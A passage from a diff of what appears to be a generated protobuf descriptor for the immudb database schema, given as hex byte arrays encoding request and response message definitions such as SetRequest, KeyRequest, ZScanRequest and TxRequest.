0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, - 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, - 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, - 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, - 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, - 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, - 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, - 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, - 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, - 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, - 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, - 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, - 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, - 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, - 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, - 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, - 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, - 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, - 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, - 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, - 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, - 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, - 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, - 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, - 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, - 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, - 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, - 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, - 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, - 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, - 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, - 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, - 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, - 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, - 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, - 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, - 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, - 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, - 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, - 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, - 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, - 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, - 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, + 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, - 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, - 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, - 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, - 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, - 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, - 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x12, 